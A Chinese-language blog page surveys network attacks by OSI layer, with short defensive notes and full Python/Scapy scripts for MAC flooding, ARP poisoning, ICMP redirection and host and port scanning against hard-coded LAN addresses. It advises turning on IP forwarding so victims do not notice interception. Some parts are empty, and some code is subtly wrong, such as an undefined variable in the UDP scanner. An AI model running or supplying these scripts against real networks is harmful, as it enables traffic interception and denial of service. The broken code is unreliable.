您的位置:首页 > 理论基础 > 计算机网络

常见的网络攻击攻防方法

2017-09-19 14:58 405 查看
常见的网络攻击,按照osi七层协议,可以分为:

1,物理层 线路侦听

2,数据链路层 mac_flood

3,网络层 arp_poison,icmp_redirection

4,传输层 tcp_flood(包含ack_flood和syn_flood),udp_flood(ntp,dns)

7,应用层 connection_flood,http_get等等,

按照攻击目的,可以分为:

中间人攻击(为了获得网络数据):mac_flood,arp_poison,icmp_redirection

拒绝服务攻击:tcp_flood,udp_flood,connection_flood,http_get

按照攻击者的位置,可以分为:

攻击者必须与攻击目标处于同一网段:mac_flood,arp_poison,icmp_redirection,线路侦听

不必处于同一网段:其他

=======================mac_flood===================================

原理:

mac地址泛洪,通过发送大量的随机源mac地址帧,攻击交换机的mac地址表,使换机的mac地址表填满,并拒绝增加新的合法mac地址条目。一旦网段里主机的mac地址无法增加进交换机的mac地址表,该主机的帧将被广播,攻击者将会收到该主机的网络信息。

表现:

突然的,网段中所有主机将会收到大量广播帧。

解决方法:

在交换机上做配置,限制每个端口匹配mac地址的总数。

攻击代码:

from scapy.all import *
import time

class Mac_flood:
def __init__(self,times):
self.times = times
self.frame = Ether(dst=RandMAC('*:*:*:*:*:*'),src=RandMAC('*:*:*:*:*:*'))/IP(src=RandIP('*.*.*.*'),dst=RandIP('*.*.*.*'))

def flood(self):
for i in xrange(99999):
t1 = time.time()
sendp(self.frame,loop=1,count=self.times)
t2 = time.time()
print 'it takes',t2-t1,'seconds to send',self.times,'frames...'

if __name__ =='__main__':
mac_flood = Mac_flood(10000)
mac_flood.flood()


==========================arp_poison===========================

原理:

利用arp协议的漏洞,攻击目标主机或网的arp列表,截取目标主机或网管的流量。攻击目标一般是对目标主机和网关同时进行。

表现:

网段中有ip地址突然改变mac地址。

解决方法:

主机使用静态的arp列表,对网关进行绑定。有条件的话,网管也要使用静态德arp列表,对主机绑定。

攻击代码:

tool.py

import os
import time

class Tool:
def __init__(self):
pass

def enable_routing(self):
os.system('sysctl net.ipv4.ip_forward=1')
print 'start to route.'

def disable_routing(self):
os.system('sysctl net.ipv4.ip_forward=0')
print 'routing finished.'

def set_mac(self,iface,mac):
os.system('ifconfig '+iface+' down')
time.sleep(1)
os.system('ifconfig '+iface+' hw ether '+mac)
time.sleep(1)
os.system('ifconfig '+iface+' up')
time.sleep(1)
print 'set_mac,mac is',mac

def reset_mac(self):
os.system('ifconfig enp3s0 down')
time.sleep(1)
os.system('ifconfig enp3s0 hw ether '+'34:64:a9:12:60:73')
time.sleep(1)
os.system('ifconfig enp3s0 up')
time.sleep(1)
print 'reset_mac,mac is :34:64:a9:12:60:73'

def set_promisc(self,iface):
os.system('ifconfig '+iface+' promisc')
print 'set promisc'

def set_non_promisc(self,iface):
os.system('ifconfig '+iface+' -promisc')
print 'set non_promisc'

if __name__=='__main__':
tool=Tool()
tool.enable_routing()
#tool.set_mac('enp3s0','00:11:22:22:22:22')
#tool.reset_mac()
#tool.set_non_promisc('enp3s0')


先打开本机的路由功能,使得截取的流量依然能够到达目标主机,以免目标主机察觉。

arp_poison.py

from scapy.all import *
import time
import os

class Arp_poison:
def __init__(self,gateway_ip,victim_ip,iface):
self.gateway_ip = gateway_ip
self.victim_ip = victim_ip
self.iface = iface

def poison(self):
#get mac from gateway and victim
answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
if answer_gateway is None:
print 'there is no answer comes from gateway!'
return -1;
answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
if answer_victim is None:
print 'there is no answer comes from victim!'
return -1;
self.gateway_mac = answer_gateway.hwsrc
self.victim_mac = answer_victim.hwsrc
self.local_mac = answer_victim.dst

#print mac info
print 'gateway_mac is :',self.gateway_mac
print "victim_mac is :",self.victim_mac
print 'local_mac is :',self.local_mac

#forge arp packet
to_gateway = Ether(src='00:00:00:00:00:00',dst=self.gateway_mac)\
/ARP(op=2,hwsrc=self.local_mac,psrc=self.victim_ip,\
hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

to_victim = Ether(src='00:00:00:00:00:00',dst=self.victim_mac)\
/ARP(op=2,hwsrc=self.local_mac,psrc=self.gateway_ip,\
hwdst='00:00:00:00:00:00',pdst='0.0.0.0')

#send it
for i in xrange(99999):
sendp([to_gateway,to_victim],iface=self.iface)
time.sleep(0.5)

if __name__ == '__main__':
arp_poison = Arp_poison('192.168.1.1','192.168.1.202','enp3s0')
arp_poison.poison()


===============================icmp_redirect===================

原理:

攻击目标主机的路由表,使之定向到攻击者。

表现:

路由表发生改变,一般情况下是默认路由发生改变。

解决方法:

关闭icmp协议

攻击代码:

from scapy.all import *
import time

class Icmp_redirection:
def __init__(self,victim_ip,gateway_ip,iface):
self.victim_ip=victim_ip
self.gateway_ip=gateway_ip
self.iface=iface

def redirect(self):
#get victim_mac,gateway_mac
answer_victim = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.victim_ip),timeout=5,iface=self.iface)
if answer_victim is None:
print 'there is no answer comes from victim.'

answer_gateway = srp1(Ether(dst='ff:ff:ff:ff:ff:ff')\
/ARP(pdst=self.gateway_ip),timeout=5,iface=self.iface)
if answer_gateway is None:
print 'there is no answer comes from gateway!'

self.gateway_mac = answer_gateway.hwsrc
self.victim_mac = answer_victim.hwsrc
self.local_mac = answer_victim.dst
self.local_ip = answer_victim.pdst
print 'gateway_mac is ',self.gateway_mac
print 'victim_mac is ',self.victim_mac
print 'local_mac is ',self.local_mac
print 'local_ip is ',self.local_ip
time.sleep(2)
print 'start to redirect'
time.sleep(0.5)

#forge icmp data
to_victim = Ether(src=self.gateway_mac,dst=self.victim_mac)\
/IP(src=self.gateway_ip,dst=self.victim_ip)\
/ICMP(type=5,code=1,gw=self.local_ip)\
/IP(src=self.victim_ip,dst='0.0.0.0')
to_victim.show()

#send it
sendp(to_victim,loop=1,count=99999,inter=0.5)

def cancel_redirect(self):
pass

if __name__ == '__main__':
ir=Icmp_redirection('192.168.1.202','192.168.1.1','enp3s0')
ir.redirect()


攻击前,要记得打开路由功能,以免目标主机察觉。

===================================================================

以上三种攻击,均为中间人攻击,要求攻击者与被攻击者在同一网段,能够窃取目标主机的流量信息,危害严重。下面的攻击均为拒绝服务攻击,不要求在同一网段,不能够窃取目标主机的流量信息,以攻击目标主机,使之无法正常工作为目标,危害相对较小。

==================================================================

=================================syn_flood========================

原理:

tcp连接的三次握手过程中,例如a想与b建立tcp连接,三次握手分别是:1,a发送syn给b。2,b发送syn和ack给a。3,a发送ack给b。

对于b,每当收到来自a的syn,b都要分配一段内存,存放ip地址,端口号,序列号,时间戳等信息。如果a发送大量的syn请求,b就会不断的分配内存,结果会是:1,b的内存耗尽,无法相应服务请求,或是2,队列被填满,无法响应新来的合法的请求。无论是那种情况,结果都是拒绝服务。

表现:

服务器收到大量syn请求,并且该请求均无下文。

解决方法:

解决方法大体可以分为三类:

1,根据syn请求包的逻辑来判断syn请求是否合法,例如syn重传

2,修改主机操作系统相关参数,提高操作系统对syn_flood的防御能力,例如缩短syn_timeout时间,减小重发次数,增加队列容量

3,syn_cookie和syn_proxy

syn_cookie将需要储存在内存中的信息,通过一个hash函数,计算出一个cookie值,作为序列号,发送给对方,在收到syn后并不立即分配内存,而是等到收到ack,并验证后在分配内存,一定程度上解决了syn_flood攻击的问题(解决的问题是:收到syn不再立即分配内存了)。但是,使用syn_cookie,提高了cpu的计算压力(在于收到syn要计算cookie值,收到ack后要验证),实质上是一种用cpu计算资源换取内存空间的方案。并且,使得主机对于ack_flood攻击更加敏感。

syn_proxy是一种,将对于主机的tcp_flood攻击转嫁到syn_proxy上的方案。

攻击代码:



===============================ack_flood========================

原理:

主机在收到ack后,会查询队列种是否存在相应的syn,如果没有,则直接丢弃ack。因此ack_flood本来是一种较弱的网络攻击。但是,当主机打开了syn_cookie后,主机要处理的事情就变得复杂了,要通过复杂的计算,验证ack的合法性。因此,ack_flood主要攻击使用了syn_cookie的主机,使之cpu计算资源耗尽,拒绝服务。

表现:

同syn_flood,只不过ack标志为1,syn标志为0

解决方法:

参考syn_flood

=============================ntp_flood==========================

原理:

ntp_flood是一种反射型udp攻击,有两个特点:1,攻击者不直接攻击目标主机,而是构造包,将流量发给提供ntp(network time protocol)服务的主机。2,通过了ntp主机后,流量会被放大,造成目标主机网络拥堵。

表现:

主机收到大量的ntp流量

解决方法:

1,找运营商清洗流量

2,找到攻击者本人解决

==============================dns_flood=========================

原理:

发送大量的dns查询报文,使得dns服务器资源耗尽。

表现:



解决方法:



============================ip扫描和端口扫描=====================

ip扫描,扫描网段内开启的主机

from scapy.all import *
import time

class Ip_scan:
def __init__(self):
pass

def scan(self,ip_set):
arp_packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip_set)
ans,uans = srp(arp_packet,timeout=3)
alive_ip_list=[]
for (send,receive) in ans:
alive_ip_list.append(receive.getlayer('ARP').psrc)
alive_ip_list.sort()
for i in alive_ip_list:
print "alive host :",i

if __name__ == '__main__':
ip_scan = Ip_scan()
ip_scan.scan('192.168.1.1/24')


扫描tcp端口

原理是:发送ack给目标主机的端口,如果无返回,则说明该端口被过滤,如果返回icmp不可达,说吗端口关闭,如果返回syn+ack,则说明端口是开放的。

from scapy.all import *
import time

class Tcp_scan:
def __init__(self):
pass

def scan(self,ip_addr,port_set):
filtered_port_list=[]
opened_port_list=[]
closed_port_list=[]
tcp_segment = IP(dst=ip_addr)/TCP(dport=port_set,flags='S')
print 'start to scan ',ip_addr
ans,uans = sr(tcp_segment,timeout=3)
for i in uans:
filtered_port_list.append(i.getlayer('TCP').dport)

for (send,receive) in ans:
if receive.haslayer('ICMP'):
if receive.getlayer('ICMP').type == 3 and\
receive.getlayer('ICMP').code == 3:
closed_port_list.append(send.getlayer('TCP').dport)
else:
print 'get a ??? icmp answer,type is :'\
,receive.getlayer('ICMP').type,'and code is:'\
,receive.getlayer('ICMP').code,'...'

elif receive.haslayer('TCP'):
flags = receive.getlayer('TCP').flags
if flags == 18:
opened_port_list.append(receive.getlayer('TCP').sport)
else:
closed_port_list.append(receive.getlayer('TCP').sport)

filtered_port_list.sort()
closed_port_list.sort()
opened_port_list.sort()

print 'open port is :',opened_port_list
print '###############################'
print 'closed port is :',closed_port_list
print '###############################'
print 'filtered_port_list is :',filtered_port_list

if __name__ == '__main__':
tcp_scan = Tcp_scan()
tcp_scan.scan('192.168.1.202',(1,1025))


扫描udp端口

原理是:发送udp数据,如果返回udp,说明端口是开放的。如果返回icmp不可达,说明端口关闭。如果返回icmp,type为3,code为1,2,9,10,13,说明端口被过滤了。如果无回应,则有可能是过滤或者关闭。

from scapy.all import *
import time

class Udp_scan:
def __init__(self):
pass

def scan(self,ip_addr,port_set):
udp_datagram = IP(dst=ip_addr)/UDP(sport=3000,dport=port_set)
print 'scan host',ip_addr,'......'
ans,uans = sr(udp_datagram,timeout=3)
open_port_list = []
closed_port_list = []
filtered_port_list = []

for (send,receive) in ans:
if receive.haslayer('UDP'):
open_port_list.append(i[1].getlayer('UDP').sport)

if receive.haslayer('ICMP'):

if (receive.getlayer('ICMP').type==3) and \
(receive.getlayer('ICMP').code==3):

closed_port_list.append(send.getlayer('UDP').dport)

if (receive.getlayer('ICMP').type==3) and \
receive.getlayer('ICMP').code in [1,2,9,10,13]:

filtered_port_list.append(send.getlayer('UDP').dport)

print 'open port :',open_port_list
print '#######################'
print 'closed port :',closed_port_list
print '#######################'
print 'filtered port :',filtered_port_list
print '######################'
print 'other port may be in filtered or opened state!!!!!!!!!!'

if __name__ == '__main__':
udp_scan=Udp_scan()
udp_scan.scan('192.168.1.202',(1,1024))
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: